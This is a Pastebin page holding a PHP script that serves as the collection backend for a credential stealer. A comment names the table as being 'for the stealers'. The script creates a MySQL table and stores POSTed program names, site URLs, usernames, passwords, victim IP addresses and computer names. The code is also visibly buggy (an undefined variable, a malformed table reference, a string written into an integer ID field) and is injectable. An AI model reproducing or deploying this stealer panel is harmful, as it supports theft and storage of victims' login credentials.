daily pastebin goal
61%
SHARE
TWEET

Untitled

a guest Jun 7th, 2017 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3. =====================================================
  4. This Script is registerd to : NetDev
  5. Made by : †FenimiN†
  6.  
  7. */
  8. //Config
  9. $User = "" ; // Username(Mysql)
  10. $Pass = "" ; // Password(Mysql)
  11. $Host = "localhost" ; // Mysql Host
  12. $Database = "" ; // Mysql DB
  13. $Tablename = "bokxa" ; // The table name for the stealers
  14.                                                                            
  15. //Connect to Database and select database
  16. mysql_connect($Host, $User, $Pass) or die(mysql_error());
  17. mysql_select_db($Database) or die(mysql_error());
  18.  
  19. //Connected to database create needed tables
  20.  
  21. mysql_query("CREATE TABLE IF NOT EXISTS `$Tablename` (
  22.  `ID` int(11) NOT NULL AUTO_INCREMENT,
  23.  `Program` varchar(255) DEFAULT NULL,
  24.  `WebsiteUrl` varchar(255) DEFAULT NULL,
  25.  `Username` varchar(255) DEFAULT NULL,
  26.  `Password` varchar(255) DEFAULT NULL,
  27.  `IP` varchar(255) DEFAULT NULL,
  28.  `Computername` varchar(255) DEFAULT NULL,
  29.  `date` varchar(255) DEFAULT NULL,
  30.  PRIMARY KEY (`ID`)
  31. ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
  32. ");
  33.                                                                                                                                                                                                                                                                                                                                                                                                                        
  34. // The POST variables ( make it read from url )
  35. $Program = $_POST["p"];
  36. $WebsiteUrl = $_POST["url"];
  37. $Username = $_POST["user"];
  38. $Password = $_POST["pword"];
  39. $IP = $_POST["ip"];
  40. $Computername = $_POST['cpname'];
  41. $date = date("d.M.Y H-i-s");
  42. //=================================================================
  43.  
  44. $query = mysql_query("SELECT * FROM '$Tablename' WHERE WebsiteUrl='$WebsiteUrl' and Username='$uniD' and Password='$Password'");
  45. $count = mysql_num_rows($query);
  46. if ($count == 0) {
  47.  mysql_query("INSERT INTO $Tablename
  48. (ID, Program, WebsiteUrl, Username, Password, IP, Computername, date) VALUES('FenimiN', '$Program', '$WebsiteUrl', '$Username', '$Password', '$IP', '$Computername', '$date' ) ")  
  49. or die();  
  50. }else{}
  51.  
  52. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top